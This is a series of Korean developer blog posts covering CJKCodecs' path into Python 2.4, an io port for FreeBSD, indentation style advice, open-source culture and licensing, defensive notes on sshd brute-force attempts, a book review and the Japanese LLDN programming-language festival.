저는 이번에 해설로 참가하게 되었는데, 지난번에 얼떨결에 하느라 온게임넷에 비해서 좀 지루한 경향이 있었는데 이번에는 온게임넷에서 흥분만 뺀... (그럼 남는게 있나..) 그런 것을 한번 해 볼까.. 하는 -O- (그 전날과 다음다음날에 시험이 있어서 과연 제 정신에 할 수 있을지는 잘 모르겠군요;;)

참가 신청이 며칠 남지 않았으니 얼른 팀을 꾸려서 신청해 주세용~ (위의 링크 참조)

중간고사도 끝나고, 이제 막 조발표와 프로젝트의 시즌이 다가왔습니다. 원래 바쁠 때 딴짓이 더 많이 생각나는 법이라, 올해가 가기 전에 실용주의 프로그래머 권고안의 "1년에 새로운 언어 1개씩 배우기"를 실천해볼까 하는 생각이 갑자기 들었습니다. -,.-; 그래서 io를 한번 보자하는 생각이 들어서 다운로드를 찾아봤는데, 배포하고 있는 바이너리 중 FreeBSD용이 4.x용에다가 i386용이라 7.0에 amd64인 제 컴퓨터에서는 아무리 호환성 라이브러리를 설치해 봐도 돌아가지를 않아서, 그렇게 난해하다는 io 직접 빌드하기를 한번 시도해 봤습니다.

한참동안 "이야.. 자연으로 돌아갔구나"하는 심정으로 Makefile을 수정해보면서 빌드하고 나니 그냥 다른 사람들 삽질도 줄여줄 생각으로 포트로 만들어 버렸습니다. lang/io로 등록했으니, 혹시 io 빌드의 압박으로 접해보지 못한 분은 한번 설치해 보셔도 좋을 듯~ -O- 기본 타입 튜토리얼만 한번 쳐 봤는데 색다른 맛이 있어서 기분 전환에 많은 도움이 되는군요. :)

약 20분 전부터 뭔가 인터넷 대란 현상이 일어나고 있습니다. 한국에서 구글의 서비스들이 대부분 접속이 안 되기 시작하더니, 몇분 전부터는 미국과 영국에서도 구글에 접속이 안 되고 있군요. 그리고 국내 포탈들도 다들 백본이 가득차서 긴급하게 대책을 강구하고 있는 듯 합니다. 뭔가 타이머가 맞혀져 있던 웜의 대량 공격일까요. 아니면, 중국의 김치 사장들이 고용한? -_-;; IRC에서 물어보니 다른 나라에서도 대체로 다들 같은 문제가 있는 듯 하니 중국에서 하는 건 아닌 것 같군요~ 무슨 문제인지 무지 궁금하당.. 으흐흐~ 곧 뭔가 뉴스가 뜨겠지요.. @.@

하여간.. 옆에 adsense가 안 떠서 화면이 멈춰 있는 문제 때문에 임시로 adsense를 꺼 뒀습니다. 삽질하고 있을 구글 시스템관리자들 화이팅! -O-

오늘은 yser님의 다음 질문에 대한 답변을 겸해서 CJKCodecs의 뒷이야기에 대해서 얘기할까 합니다.

파이썬 2.4 에 유니코드 코덱 추가된 것 보면서 신기해하는 중입니다. 오픈소스로 개발되면서 막상 한국인이 비교적 알려져있는 프로젝트에 정식으로 코드 추가 되는 걸 못본지라.. 그런데 저 많은 인코딩 정리하면서 별로 힘들진 않으셨는지? 간만에 저런걸 보니 머리가 지끈거리는군요. 사실 코드 쪽에 관심이 있습니다. 아는 분이랑 정보 교환해가며 이해할려고 한참 헤맸던 적도 있는데 국내엔 정말 자료 찾기가 힘들어서 정작 외국에서 다 찾아야 하더군요. 이럴 땐 정말 영어 독해 잘하는 게 절실합니다.

파이썬 2.4에 CJKCodecs가 들어간 것에 대해..

우선, 파이썬 2.4에 추가된 것에 대해서는 코덱을 따로 설치하지 않아도 돼서 좋긴 하지만, 한국인이 기여한 것으로는 서지원님의 제너레이터 익스프레션 구현이 좀 더 인상적입니다. :) 제너레이터 익스프레션은 누구나 쓰는 일반 문법이면서 파이썬의 장래에도 큰 영향을 미칠 부분이라서~ 코덱은 그냥 보조적인 역할이지용. 그리고, 그 외에도 한국인이 올린 패치는 수도 없이 많습니다~

국제화(i18n)에 대한 문서의 부족..

한국어 코드에 대한 것들은 사실 찾아보면 국내에도 자료가 제법 있습니다. 김경석 교수님 홈페이지도 있고, 카이스트에 있는 좀 오래된 자료 중에서도 몇가지 괜찮은 게 있습니다. 일본어나 중국어 정보처리에 대한 것은 국내에는 자료가 크게 많지는 않은 편인데, 사실 한국어 사용자 중에서 일본어나 중국어, 베트남어 정보처리를 프로그래밍 해야하는 개발자가 얼마나 될 지를 생각해 보면 그다지 자료가 많아야 할 필요는 없다고 생각합니다. 많은 개발자가 실제로 쓰는 자료가 풍부해야겠지요..

CJKCodecs의 전신 KoreanCodecs

여기부터는 유아저씨의 《신화창조의 비밀》 스타일로.. --;; CJKCodecs는 최초에 KoreanCodecs로 시작되었습니다. KoreanCodecs는 2001년에 지금은 OSK에 계시는 이만용이사님의 작품인데, 당시에 파이썬 유니코드 스펙이 나오고 얼마 지나지 않아서 나온 것이라서, 파이썬 안에 들어있는 charmap 코덱처럼 딕셔너리 자료형을 기반으로 순수 파이썬으로 구현되어 있었습니다. 룩업 때문에 일어나는 속도 저하를 극복하기 위해서, 별도로 KoreanCodecs 2.0을 fork해서, C로 작성된 코덱을 추가하였습니다. KoreanCodecs 2.0에서는 디코딩과 인코딩 모두 trie와 비슷한 자료구조를 사용해서 빠르면서도 메모리 소모가 적은 형태로 구현을 해서, 나중에 JapaneseCodecs의 구조에도 영향을 주었습니다. KoreanCodecs 2.0이 처음 나온것이 2002년 2월이었고, 2002년 12월 정도까지 업데이트가 됐습니다.

CJKCodecs로 통합

2003년 초, KoreanCodecs, JapaneseCodecs 모두 활발히 메인테인은 되고 있었지만, 파이썬에 들어가기에 용량이 지나치게 크고 메모리를 많이 사용한다는 문제점이 지적되어서 많은 유럽어권 개발자들이 꺼리고 있었습니다. 그리고 파이썬에 들어가더라도 관리할 사람이 필요했는데, JapaneseCodecs를 개발하던 카지야마씨가 박사학위 논문으로 너무 바빠서 뭐 이런 저런... 으흐흐..

ChineseCodecs는 사실상 그때 전혀 관리되고 있지 않았고, 파이썬 2.3에서 새로 들어간 PEP 293 코덱 에러 콜백기능 때문에, 기본 코덱 구현조차 멀티바이트 인코딩에서는 극도로 어려워지고 코드 양이 엄청 늘었으며, 스트림 코덱은 정말 복잡한 상태가 돼 버렸습니다. (PEP 293을 쓴 사람은 독일 사람이라 별로 난이도에 대해서 고려를 안 한듯 했지만..;) 그래서 결국은 PEP-293을 지원하는 코덱 프레임워크를 만들고 그 걸 이용해서 한, 중, 일 인코딩을 모두 지원하는 방향으로 구현해 버렸습니다. 결국 2003년 6월 첫 CJKCodecs을 내놓았습니다.

CJKCodecs 성숙

CJKCodecs는 사실 한국에서는 인코딩이 지원되느냐 마느냐 정도로 아주 간단한 문제였기 때문에 큰 관심을 끌지는 못했지만, 일본에서는 인코딩 수가 장난이 아닌데다가 캐릭터셋도 수시로 업데이트가 되기 때문에 많은 관심을 끌었습니다. 초창기에 CJKCodecs의 일본어 캐릭터셋 중에 JIS X 0201-R과 JIS X 0208같은 경우 표준을 정확하게 준수해서 구현을 했지만 오히려 그렇게 한 것이 일본 사용자들의 현실적인 사용에 불편을 줘서, 실제로 일본에서 널리 쓰일 수 있는 형태로 대폭 개정하는 등 여러가지 현실화 작업을 거쳤습니다. 그리고, 일본의 최신 표준이었던 JIS X 0213:2000을 반영해서 거의 12개의 일본어 인코딩을 지원하기 시작했습니다.

파이썬으로 편입

파이썬 2.4 릴리스를 위한 피쳐 프리즈가 다가오던 2004년 초에, 드디어 표준 파이썬에 CJKCodecs를 통합하려는 작업을 시작했습니다. 마침 2003년 12월에 제가 itertools 모듈 관련 작업을 위해서 파이썬 커미터로 들어가 있었기 때문에, 관리상의 문제도 없었고 패치에 안간힘을 써서 메모리/소스 용량을 최소로 줄여서 서구권 사용자들에게 잘 보이도록 노력해서 결국은 별 수정 없이 들어가게 되었습니다. 당시에 사실 용량 부담을 줄이기 위해서 euc-tw나 iso-2022-cn같은 것을 지원하기 위해 필요한 CNS 11643을 빼버렸는데, 아직도 파이썬에서는 CNS 11643이 빠져 있어서 euc-tw를 지원하지 않고 있습니다만.. 대만 사람들이 별 관심이 없는지 한 번도 거기에 대해서 얘기를 들은 적이 없어서 그냥 빠진채로 놔두고 있습니다. 으흐흐;

편입 이후의 변화

파이썬에 편입된 이후에는 우선 일본에서 새로 나온 표준인 JIS X 0213:2003 지원과 홍콩의 새로운 표준인 HKSCS 2004를 지원했습니다. 소스코드가 캐릭터셋과 인코딩들이 다 각각 나뉘어 있어서 모듈 수가 20개 가까이 됐던 것을, 각 국가별로 캐릭터셋과 인코딩을 모두 묶어서 1개씩으로 만들어버렸습니다.

CJKCodecs 편입 과정에서의 느낌

CJKCodecs를 만들고 파이썬에 넣는 과정 중에서 느낀 점이 많았습니다. CJKCodecs를 만들었을 때 KoreanCodecs나 ChineseCodecs보다 빠지는 점 없이 완벽한 대체판이 될 수 있었음에도 불구하고, 한국과 중국 모두 CJKCodecs가 별로 반향이 없었다는 점에서, 사용자들의 관심은 아무래도 자기 언어를 쓰는 것에 보다 관심이 있는 것이라는 점을 깨닫게 되었습니다. 당연하겠지요. 저도 그런데. 이히히. 당연한 것을 개발에 한참 빠져있으면 까먹게 되더군요.. ㅡ.ㅜ

한편, CJKCodecs가 관심을 얻은 곳은 일본 사용자들 중에서 새 표준에 관심있는 사람들이나 서구권 개발자들이었습니다. 서구권 개발자들은 그 지긋지긋한 CJK 문제를 CJKCodecs 하나만을 끼워줌으로써 말끔히 해결할 수 있다는 점에 매력을 느낀 것 같고, 일본에는 특유의 문화로 독특한 것 좋아하는 사람들이 많아서.. -.-;; 그래서 그 덕분에 일본의 현실에서 쓰는 코드와 다른 표준들을 피해가는데 많은 도움을 얻을 수 있었습니다.

그리고 또 하나! 패치에 있어서 첫인상은 정말 중요하다는 점.. 보통 패치를 올릴 때 대충 만들어서 올린 다음에, 계속 고쳐야지 하는 경우가 많은데, KoreanCodecs를 파이썬에 넣으려고 패치를 올렸을 때 초기에 버그가 좀 많아서 개발자들이 처음에 시도해 보다가 나중에는 다 고치고도 별 관심을 보이지 않았습니다. CJKCodecs 때는 그래서 리뷰에 리뷰를 거쳐서 깔끔하게 올렸더니 첫인상이 좋았던지 단번에 반응이 꽤 좋았던 것이.. 첫인상의 중요성을.. :-)

yser님의 다음 질문에 대한 답변입니다.

퍼키님이 내부에서 쓴다는 코딩 정책을 읽어 봤습니다. 퍼키님은 스페이스 신봉자이신 듯 한데, 처음 소스 짤 때부터 스페이스로 하셨나요? 저는 요즘 탭으로 하던 버릇을 소프트 탭=공백 치환으로 바꿔야 할까 고민 중입니다. kldp 의 논쟁이나 다른 데서 비교하는 걸 봐도 결국은 취향 문제 아닌가 하는데 장단점이야 다 있는지라 어느 하나가 절대적으로 우세하다고는 못하겠더군요.

답

제가 쓴 그 코딩 정책은 회사에서 쓰는 것이기 때문에, 개인적인 선호와 전혀 상관이 없는 것은 아니지만 그대로 반영하는 것은 아닙니다. 그리고 한 프로젝트에 대한 것이기 때문에 C 코드나 Win32 API를 쓰는 C++코드, 본셸 코드 같은 것은 명시하지 않았구요. 그냥 그런 것도 쓴 적이 있더라.. 정도로 보시면 되겠습니다.

들여쓰기를 할 때 탭을 쓰느냐 스페이스를 쓰느냐에 대한 제 의견은 "환경에 가장 맞는 것을 써야 한다"는 것입니다. POSIX 환경에서 주로 편집이 이뤄지고 셸에서 많은 작업이 있어야 하는 경우에는 당연히 탭의 크기는 8이기 때문에, 인덴트를 스페이스로 합니다. 주의하실 점은 탭 크기와 인덴트 크기는 의미가 다르다는 것입니다. 탭 크기는 '\t' 아스키 문자의 화면 표시상의 크기를 뜻하는 것이고, 인덴트 크기는 들여쓰는 단위를 뜻하지요. 따라서, 8칸씩 띄어서 쓰기에는 너무 크기 때문에 보통 4칸 들여쓰기를 하기 위해서는 스페이스를 쓰는 방법 밖에 없습니다. ts=8 sts=4 noet 즉, 인덴트는 4칸으로 하면서 가급적이면 탭을 쓰기는 쓰는 방법도 영 안 쓰이는 방법은 아니지만, 이런 경우에는 정규식으로 소스코드 치환하기가 매우 까다로워지기 때문에, 가급적이면 탭 크기와 인덴트 크기가 다를 때는 스페이스로 풀어쓰는 것이 좋겠습니다.

반면에, 대부분의 사용자들이 쓰는 편집기가 탭 크기를 4로 쓰고 있는 MSVS같은 IDE를 기반으로 하는 환경에서는 탭이 4이고, 스마트 백스페이스같은 기능이 지원되지 않기 때문에 탭 1개로 들여쓰기를 하며 4칸으로 쓰는 것이 좋습니다. MSVS에서 물론 탭을 스페이스로 풀어쓰기를 지원하기는 하지만, 해당 설정이 프로젝트에 저장되는 게 아니라, 설치된 컴퓨터의 레지스트리에 저장되기 때문에, 해당 기능을 설정하지 않은 개발자들과 혼선이 빚어질 수도 있기 때문이죠.

그리고, 만약 자기가 새로 만든 프로젝트가 아니라, 기존에 있는 프로젝트에 참여하는 것이라면, 당연히 그 프로젝트에서 원래 쓰고 있는 스타일을 따라가는 것이 맞습니다. 명시적으로 프로젝트에서 쓰는 스타일을 문서화를 한 경우라면 가장 좋겠지만, 문서가 없더라도, 남의 소스를 고칠 때는 비슷한 다른 부분을 찾아서 누가 만든 것인지 구분이 안 갈 정도로 같은 스타일로 맞춰 주는 것이 좋습니다. 구분이 확연히 간다면, 해당 부분에서 나중에 문제가 발생하게 되면 다른 사람들은 그 코드가 자기 코드가 아니라는 생각이 먼저 들게되고, 그쪽 코드 문제가 아니더라도, 분노 게이지가 꽉 차서 결국은 버그는 안 잡고 버그 트래커에서 싸움질만 하게 되겠죠. 누구 코드인지 구분을 못 하게 돼버리면 모든 소스는 공동 재산과 같은 성격을 띄게 돼서, 너의 버그가 나의 버그이고 나의 버그도 너의 버그이고.. 이런 상태가 돼서, 모두가 생산적으로 일할 수 있게 됩니다. :-) (굳이 svn blame 같은 기능 써가면서 추적해서 욕하는 사람을 만나면 잘 기억해 뒀다가 다음에는 같이 프로젝트를 안 하도록 잘 피해 보세요.)

결론적으로, 제가 쓰는 스타일은 이렇습니다. (vim 명령어로..)

• C 코드 (POSIX): ts=8 sts=8 sw=8 noet
• C 코드 (Windows): ts=4 sts=4 sw=4 noet
• 파이썬 코드: ts=8 sts=4 sw=4 et
• 본셸 코드: ts=8 sts=2 sw=2 noet
• awk 코드: 들여써야 할 정도로 긴 코드는 안 짬. :-)

토끼군과 퍼즐릿님의 활약으로 이제 국내에서도 꽤 뿌리를 내린 난해한 프로그래밍 언어계에 이제 마이크로소프트도 손을 내밀었습니다. 이름은 "요다". 헬로월드는 이렇게 쓴다는 군요.

(args of string many are they) Main is what they seek yet return they do not.

Brace you must
     Written it is, the Console. “Hello World”

일반적인 오픈소스 프로젝트는 아무래도 여가시간에 자발적으로 참가하는만큼 프로젝트 진행 방향에 있어서 기업 프로젝트에서와 같이 "데드라인 엄수", "최저 생산가", "최고의 속도", "가장 완벽한 인터페이스"가 아니라, 그저 "개발자의 재미"가 최고의 가치로 작용합니다. 완벽한 UI를 만들면 재미있는 개발자들은 완벽한 UI를 만들고, 표준을 완벽하게 엄수하는 것으로 재미를 느끼는 개발자들은 표준을 어기는 코드가 있으면 길이길이 날뛰면서 표준에 맞게 고쳐서 패치를 내겠지요. (토끼군처럼 남이 못 알아보도록 짜는 것에 재미를 느낄 수도 있고.. =3=3) 재미가 오픈소스 프로젝트의 가장 큰 요소인 것은 너무나 당연함에도 불구하고, 그동안 정부의 오픈소스 정책이나, 오픈소스를 추종하는 사용자들, 체계적인 체제를 갖추지 않은 오픈소스 프로젝트 들에서는 많이 간과되어 왔습니다.

최근 《재미와 소프트웨어 개발》이라는 논문이 나왔습니다. 이 논문에서는 주로 오픈소스 프로젝트들을 예를 들어서, 개발자들에게 개발의 재미를 주는 요소들과, 프로젝트 생산성, 창의성의 관계에 대해서 살펴보고 있습니다. 작업의 명료성, 재미, 충동, 주의, 집중 등이 프로젝트 결과에 영향을 주는 요소로 재미있게 분석되어 있습니다. :)

Haskell로 구현된 Perl6 프로젝트인 pugs 개발자가 쓴 O'Reilly 기사에서 얘기하고 있는 pugs의 -Ofun 성공 비결은 이렇게 요약하고 있습니다. (각 조건의 설명은 원문을 참조하세요.)

• -Ofun을 프로젝트 최우선 최적화 조건으로 삼아라.
• 현대적인 분산형 버전 컨트롤 시스템을 사용하라.
• 커밋이 허용되는 개발자들을 최대한 늘리고 커밋을 쉽게 하는 무정부주의를 지향하라.
• 빌드가 깨지거나 개발을 방해하는 데드락을 피하라.
• 커미터 권한을 많은 다양한 사람들에게 주어라.
• 돌아가는 코드가 아이디어보다 낫다.
• 끈끈하고 도움을 주는 개발자 커뮤니티를 만들자. (예: 신규 개발자들에게 멘터링을 해주는 방식)
• 흥미와 배움은 전염된다.

기업이 투자하는 것이 아니라면, 오픈소스 프로젝트가 성공하기 위해서는 리더들은 무엇이 개발자들에게 개발 동기를 유발하는가를 고려하여 그 점들을 자극할 수 있는 무언가를 충분히 재공해 줘야할 듯 합니다. 주변의 예만 보더라도, FreeBSD의 버그 트래킹 시스템인 GNATS는 웹에서 접근할 수 있는 개발자 리소스가 제한되어 있기에, 버그 트래킹 시스템에 접근하려면 ssh로 중앙 서버에 접속해야하고, 그 과정이 미미하지만 동기 요소를 떨어뜨리는 요소로 작용하게 마련입니다. 그래서 FreeBSD 버그 트래킹 시스템에서는 유난히 오래된 버그들이 많고 개발자들이 할당만 해놓고 거들떠보지도 않는 경우가 많습니다. 또한, 코드를 직접 커밋해서 다른 사람들이 리뷰할 수 있는 경우와, 최근 CVS로 업데이트한 다음에, diff를 떠서, 복잡하게 버그 트래킹 시스템에 올린 다음에, 커미터에게 리뷰를 받아서 다시 또 설명을 한 다음에 결국 한참 있다가 커밋되는 것과는 피드백의 시간에 있어서 동기 유발에 큰 차이를 보이겠지요.

그나저나, 저 오라일리 글의 "bus error" 표현은 아주 재미있군요. 이히히히~

Worse yet, a "bus error" (a key person being hit by a bus) may stall the project for good.

주변의 C모님이 서버가 상당수 뚫려서 복구하느라 고생하는 것을 옆에서 보고 있다가, 요새 sshd에 대한 공격이 굉장히 유행한다는 소리를 들었습니다. 그래서, 오픈룩 서버에서도 로그를 검사해 본 결과,

lucy(perky):/var/log% (cat auth.log && bzcat auth.log.*) | awk '{print $1" "$2}'|uniq -c|sort -r
3461 Sep 24
2794 Sep 25
2385 Sep 13
1604 Sep 18
1198 Sep 24
 936 Sep 13
 844 Sep 15
 667 Sep 16

요새 같은 IP에서 초 단위로 유저를 계속 바꿔가면서 자동으로 공격하는 경우가 많이 생기고 있습니다. 아무래도, 사용자를 계속 바꿔가면서 시도하는 걸로 봐서는, 사용자로 전환이 일어난 이후에 발생하는 버그를 노린 것이거나, 취약한 패스워드를 그냥 찔러 보는 것 같네요. 하여간, 뚫린 분의 말씀으로는, sshd가 honeypot 데몬으로 교체돼버리기 때문에, 사용자가 다음부터 접속하더라도 완전 바보짓을 하게 돼서 결국은 콘솔로 가서 뒤엎고 복구하는 수 밖에 없다고 합니다. 으흐흐..

공격이 하루에 수천건이 들어오니, sshd 버전 최신 버전인가 꼭 확인하고, 사용자 패스워드 간단한 것 안 쓰는지 보고, 1111, 7777 같은 것 쓰는 사람들 계정은 다 정지시켜 버려서 괜히 고생하지 말도록 합시다~

K모 사이트에서 글을 읽다가 저자에게 당장 소스를 내놓지 않으면 오픈 소스가 아니라고 주장하는 글을 보고서는 상당히 무서워서 오픈소스와 크게 관련 없는 일반인들이 다들 오픈소스가 그런 줄 알 것 같아서, OSI의 오픈소스 정의에 따른 퀴즈를 하나 만들어 봤습니다. (잘못된 것이 있으면 알려주세요. :)

다음 중 (일반적으로) 오픈소스에서 금지되는 것은 무엇일까요? (답은 1개)

1. 오픈소스 소프트웨어 libxyz의 저작권을 갖고 있는 저자가 소스를 약간 고쳐서 회사 내부 프로그램에 넣은 다음 소스를 공개하지 않았다.
2. 굉장히 유용한 오픈소스 소프트웨어인 sleep을 누가 이름만 살짝 바꿔서 dontsleep이라고 릴리스 했는데, 소스 안은 실수로 안 바꿨는지 원래 라이선스가 들어있었다.
3. 일본의 어느 대학 연구소가 유전자 변형에 대한 극도의 알레르기가 있는 Eugene Dollison씨가 만든 오픈소스 소프트웨어 libmolly를 이용해서 획기적인 유전자 변형 연구를 해서 팝콘이 나는 옥수수 나무를 만들었다.
4. 오픈소스 소프트웨어인 prettyplot는 굉장히 아름다운 그래프를 그리기 위해서 대부분의 나라에서 특허로 등록된 기술을 사용하고 있어서, 저자가 README파일에 "이 프로그램을 진짜로 쓰려거든 특허는 별도 구매하시오"라고 써 놓았다.
5. 오픈소스 소프트웨어로 사이트를 만들어서 운영하고 있는데, 방문자가 오픈소스이니까 소스를 달라고 했는데 남자라서 기분이 나빠서 씹어버렸다.
6. 반국가 테러집단인 mujabi단이 오픈소스 OS와 컴파일러, 수학 라이브러리 등을 이용해서 정교한 대륙간미사일을 만들어서 미국을 공격했다.
7. 자바가 재배포를 제한한다는 점에서 썬에 반감을 갖고 있는 Mooney Lunar씨는 CLI 소프트웨어 하나를 오픈소스로 개발하면서 자바와 같이 배포하지 말라고 썼다.
8. 태양계 전체를 구글어쓰처럼 보여주는 대단한 오픈소스 소프트웨어가 나왔는데, 1980GB나 되면서도 느리디 느린 FTP로만 배포해서, 답답했던 사용자 한명이 Bittorrent로 자신의 배포 사이트를 구축해버렸다.
9. 외계인이 지구를 침공하려고 만든 우주선에 지구에서 개발된 오픈소스 소프트웨어를 몇 개 가져다가 사용하였다.
10. MS사를 매우 미워하는 개발자 Mike Row씨는 자기가 만든 오픈소스 소프트웨어를 MS에서 못 받아가게 웹서버에서 IP로 막아두고, 접근하면 웹에 "MS 메롱"이라고 표시하게 해 두었는데, MS에서 그 프로그램을 다른 경로로 둘러서 입수해서 사용하였다.
11. 화면에 오리가 돌아다니다가 마우스로 눌러주면 "꽥꽥!"하는 오픈소스 프로그램을 보고서는, 심혈을 기울여 소스를 분석해서 그 오리와 비슷하게 "꽥꽥!"하는 독점 소프트웨어를 만들어서 팔았다.

(이 글은 public domain으로 저작권 표시 없이도 어떤 목적으로든 자유롭게 쓰실 수 있습니다.)

조엘이 C를 배우라고 하는 이유에서 가장 많이 강조한 부분은 진짜로 직접 실행되는 코드가 어떤건지 구조를 알지 못하면, 하이레벨에서 사소한 잘못된 선택으로도 치명적인 속도 저하나 프로그램 문제를 일으킬 수 있다는 그런 이유였습니다. 물론 반론은 상당히 많은 주장이지만, 그 주장에 감명을 받아서 "나도 이제 저수준 세상을 알고 싶어!"라는 사람에게 시간은 되도록 적게 들고 손쉽게 익힐 수 있는 책으로 《Write Great Code》를 서점에서 처음 봤을 때, 아 딱 그책이군! 하는 느낌이 들었습니다.

이 책은 처음에는 1권만 쓰고 반응을 보려는 듯 부제를 무지 조그맣게 썼는데, 결국 이번 달 중으로 2권이 나온다고 합니다. 1권은 "Understanding the Machine"이고 2권은 "Thinking Low-Level, Writing High-Level"입니다. 1권이 7월에 에이콘 출판사에서 번역판이 나왔습니다. 서점에서만 원서를 약간 보다가 번역판을 사서 자세히 봤습니다. 원서는 너무 비싸서 T-T..

예를 들면 파이썬에서 "0.3 더하기 0.3을 했는데 왜 0.6이 아니라 0.59999998이 나오나요." 하는 파이썬 프로그래머는 정밀도가 요구되는 계산에서도 float타입으로 0.3을 계속 더해서 결국 천 번만 더해도 눈에 띄게 오차가 나버리는 심각한 상황을 맞기 십상입니다. IEEE-754가 어떤 것인지 얼핏이라도 알고 있는 프로그래머라면 그렇게 계산하면 당연히 오차가 누적되는 것을 알고 적절한 조치를 취했겠지만요~ 이런 문제는 우연히 하나씩 숨어있는 것이 아니라 살다보면 수도 없이 만나기 마련인데, 바로 그런 문제를 이 책의 앞쪽에서 설명하고 있습니다. 수치 표현이나 스트링 표현, 인코딩, 캐릭터셋, 비트연산, 논리게이트 같은 컴퓨터과학 전공 1~2학년에서 대체로 배우지만 정작 시험치고 숙제할 때만 쓰고, 실전에 그게 연관이 있구나 하고 연관이 잘 안 되고 뇌 여기 저기에서 따로 따로 놀고 있는 것들~

그 뒷부분에서는 CPU, 인스트럭션, 스택, 힙, I/O를 다루고 있습니다. 물론 각각이 컴퓨터구조, 컴퓨터시스템, OS, 파일처리론 같은 과목들에서 다루는 것이기는 하지만, 학교에서 배우는 식으로 하는 게 아무래도 현업 프로그래머들에게는 너무 시간이 많이 든다는 것을 고려해 보면, 이렇게 책 하나로 다 묶어버려서 요점만 설명하는 것도 괜찮은 접근인 것 같습니다. 흐흐;;

그런데 하나 얘기를 안 할 수가 없는 것은.. 제책과 편집.. 글씨는 지금까지 봤던 컴퓨터 책 중에서 가장 작고.. 한 페이지에 거의 40줄씩 나오는데다가.. 편집도 상당히 90년대 초반 교학사에서 나온 컴퓨터책들처럼 되어있어서 책을 읽고 있으면 "아아 내가 공부하고 있구나" 생각이 강하게 들게 해 줍니다. 게다가 자간도 좁고 책 크기도 너무 커서 (B5 풀 사이즈) 들고다니면서 흔들리는 곳에서 보기에 아주 곤란합니다. 막 고3의 심정으로 옆에 지나가는 사람들 다 붙잡고 "나 공부하고 있어요 주르륵" 하소연이라도 해야할 것 같은.. 책 값이 25000원이면서도 제책 품질이 이렇게 떨어지고 품위가 없게 나온 것은 아무래도 우리나라 출판 사정이 점점 어려워지고 있다는 뜻일까요.. -_.-;; 적어도 읽고 싶은 마음이라도 나게 만들어주면 좋겠군요..

그럼에도 불구하고 책의 내용은 다음의 사람들에게는 아주 유익할 듯 합니다.

• 컴퓨터과학을 전공했지만 졸업하면서 책을 다 버리거나 후배들 줘버린 사람
• 컴퓨터과학을 전공하지는 않았지만 모르는 말이 나와도 별로 두렵지 않은 사람
• 책을 장 단위로 쪼개들고 다니면서 보기 때문에, 제책이 어떻든 신경 안 쓰는 사람
• 회사에서 책 사라고 공지가 나왔는데 뭘 사야할 지 딱히 정해둔 것이 없는 사람

번역본 제책이 아쉬운 한편.. 2권 "저수준으로 생각하면서 고수준 코드를 짜기"가 기대가 됩니다. 1권을 보고 약간 아쉽다 생각이 드는 경우에는 Miguel도 추천한 Computer Architecture: A Quantitative Approach를 같이 보면 좋을 듯 합니다~

한국의 대안언어축제와 비슷한 성격의 일본의 축제인 LLDN 2005가 8월 27일에 있었다고 합니다. 우리도 비슷한 행사를 하고 있으니 관심을 가지고 좀 찾아보았습니다. :)

예산과 행사 조직

대안언어축제 초기에도 LLDN에 대한 얘기가 좀 있긴 했는데, LLDN은 기존에 잘 꾸려진 커뮤니티들이 연합하여 하는 것이지만 대안언어축제는 유명무실한 커뮤니티들 사람들 몇몇이 임시로 모여서 하는 거라 좀 다른 면이 있습니다. 그리고 대안언어축제는 지원을 정부기관에서 했지만, LLDN은 O'Reilly Japan이나 여러 다른 출판사, 신문사, 소프트뱅크 같은 곳에서 지원을 하고 있습니다.

LLDN은 2003년부터 계속 이름이 바뀌어 왔는데, 2003년엔 LLSaturday로 토요일에 했고, 2004년에는 LLWeekend로 주말에 이틀간 했고, 올해는 LLDay&Night로 해서 낮과 늦은 밤까지 한 것 같습니다. 낮에는 아카데믹하게, 밤에는 축제적인 요소를 가미했다는군요. 대안언어축제도 1박을 하는 바람에 예산이 걷잡을 수 없이 엄청나게 불어난 것을 생각해 보면, 늦은 밤까지 해버리는 것도 괜찮은 것 같습니다. :)

세션 구성

LLDN의 낮 세션에는 "아카데믹"을 정말 그대로 실현하기 위해서인지 각 언어별로 1개씩 세션을 빼곡히 채워놓았습니다. awk, curl, gauche, haskell, ml, perl, php, python, ruby, squeak 모두 10개나 되네요. 대안언어축제에 비해서 확실히 다양성이 있는게 무척 부럽습니다. 그리고, 대안언어축제에서는 언어보다는 언어 독립적인 것들을 많이 발표 세션에 배치한 반면에, LLDN은 발표 세션은 모두 각 언어별로 배정이 되어 있군요.

독특한 세션 - 낮

발표 세션을 제외하고 독특한 포맷의 세션을 보자면, LLDN의 대표적인 두가지 "체제 대결"과 "너라면 어떻게 쓰겠니?"가 있네요. "체제 대결"에서는 RoR, Kahua, Sledge 세가지 웹 프레임워크의 전문가들이 나와서 발표를 하고서 사회자의 진행으로 열띤 토론을 하는 것 같습니다. 대안언어축제에서도 사실은 원래 이런 걸 해 보고 싶었는데, 사람이 모자라다보니 못한게 좀 아쉽네요.. 그리고, "너라면 어떻게 쓰겠니?"는 각 언어의 참가자들이 하나씩 규정연기와 자유연기 중 선택 또는 둘 다 시연을 하게되는데, 관중이나 다른 참가자들이 "너라면!" 상황에서 구현한 것을 서로 비교해보는 정말 살떨리게 재미있을 것 같은 세션일 것 같습니다. :)

독특한 세션 - 밤

그리고, 축제의 자리인 Night에서는 "안돼 자랑", "데모 자랑", "선물 대회"가 있는데, "안돼 자랑"에서는 보통 금지되어 있는 흑마법들을 이렇게도 할 수 있다! 하면서 "으아아아~ 안돼~~~" 하는 거라고 합니다. 다른 언어 유져들에게는 숨겨온것들은 자진해서 얘기하자는 거라는군요.. (설명해 주신 미쓰님 감사!) 그리고, "데모 자랑"에서는 백문이불여일견으로 자기가 자기 언어나 툴킷/프레임워크에서 자랑하고 싶은 것을 나와서 보여주고 다른 사람들이 "우와~~" 해주는 행사라고 합니다. 역시 재미있을 것 같습니다. 하아~

대안언어축제와는..

LLDN은 대안언어축제와 매우 유사한 주제를 다루고 있음에도 불구하고 매우 다른 형식과 규모, 조직성을 갖고 있다는 점에서 서로 배우거나 가르쳐줄 것이 많은 사이인 것 같네요. 대안언어축제의 코드레이스, 야외활동, 로제타카드는 정말 자랑할 만 한데요.. ^^ 그리고, 아무래도 LLDN은 사람 수가 너무 많고 장소가 강의용 장소라서 페어나 실습은 크게 못해보는 것 같네요.

LLDN 홈페이지에 올라와 있는 블로그 트랙백을 보면 참가자들 수십명이 자기 블로그에 글을 쓰고 트랙백 보내는 걸 보면 참 부럽습니다. 우리도 내년엔! 우후훗.; 하나 희망적인 것은 LLDN은 참가자가 수백명인데 여성참가자가 한명도 없었다는군요.. (그래서 그런지 LLDN 홈페이지를 보면 페이지 마다 의미없는 여성 모델이 나오는 이미지 컷이 -_-;;)

